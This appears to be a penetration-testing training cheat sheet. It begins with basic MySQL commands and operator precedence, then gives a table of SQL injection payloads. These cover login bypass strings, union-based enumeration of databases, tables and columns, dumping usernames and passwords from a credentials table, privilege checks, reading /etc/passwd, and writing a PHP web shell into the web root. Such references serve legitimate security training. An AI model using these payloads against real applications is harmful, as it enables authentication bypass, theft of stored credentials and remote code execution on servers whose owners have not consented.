

MySQL

Command	Description
General	
mysql -u root -h docker.hackthebox.eu -P 3306 -p	login to mysql database
SHOW DATABASES	List available databases
USE users	Switch to database
Tables	
CREATE TABLE logins (id INT, ...)	Add a new table
SHOW TABLES	List available tables in current database
DESCRIBE logins	Show table properties and columns
INSERT INTO table_name VALUES (value_1,...)	Add values to table
INSERT INTO table_name(column2, ...) VALUES (column2_value, ..)	Add values to specific columns in a table
UPDATE table_name SET column1=newvalue1, ... WHERE <condition>	Update table values
Columns	
SELECT * FROM table_name	Show all columns in a table
SELECT column1, column2 FROM table_name	Show specific columns in a table
DROP TABLE logins	Delete a table
ALTER TABLE logins ADD newColumn INT	Add new column
ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn	Rename column
ALTER TABLE logins MODIFY oldColumn DATE	Change column datatype
ALTER TABLE logins DROP oldColumn	Delete column
Output	
SELECT * FROM logins ORDER BY column_1	Sort by column
SELECT * FROM logins ORDER BY column_1 DESC	Sort by column in descending order
SELECT * FROM logins ORDER BY column_1 DESC, id ASC	Sort by two-columns
SELECT * FROM logins LIMIT 2	Only show first two results
SELECT * FROM logins LIMIT 1, 2	Only show first two results starting from index 2
SELECT * FROM table_name WHERE <condition>	List results that meet a condition
SELECT * FROM logins WHERE username LIKE 'admin%'	List results where the name is similar to a given string

MySQL Operator Precedence

- Division (/), Multiplication (*), and Modulus (%)
- Addition (+) and Subtraction (-)
- Comparison (=, >, <, <=, >=, !=, LIKE)
- NOT (!)
- AND (&&)
- OR (||)

SQL Injection

Payload	Description
admin' or '1'='1	Basic Auth Bypass
admin')-- -	Basic Auth Bypass With comments

[Auth Bypass Payloads](#)

Payload	Description
Union Injection	
' order by 1-- -	Detect number of columns using order by
cn' UNION select 1,2,3-- -	Detect number of columns using Union injection
cn' UNION select 1,@@version,3,4-- -	Basic Union injection
UNION select username, 2, 3, 4 from passwords-- -	Union injection for 4 columns
DB Enumeration	
SELECT @@version	Fingerprint MySQL with query output
SELECT SLEEP(5)	Fingerprint MySQL with no output
cn' UNION select 1,database(),2,3-- -	Current database name
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -	List all databases
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -	List all tables in a specific database
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -	List all columns in a specific table
cn' UNION select 1, username, password, 4 from dev.credentials-- -	Dump data from a table in another database
Privileges	
cn' UNION SELECT 1, user(), 3, 4-- -	Find current user
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -	Find if user has admin privileges
cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE user="root"-- -	Find if all user privileges
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -	Find which directories can be accessed through MySQL
File Injection	
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -	Read local file
select 'file written successfully!' into outfile '/var/www/html/proof.txt'	Write a string to a local file
cn' union select "", '<?php system(\$_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -	Write a web shell into the base web directory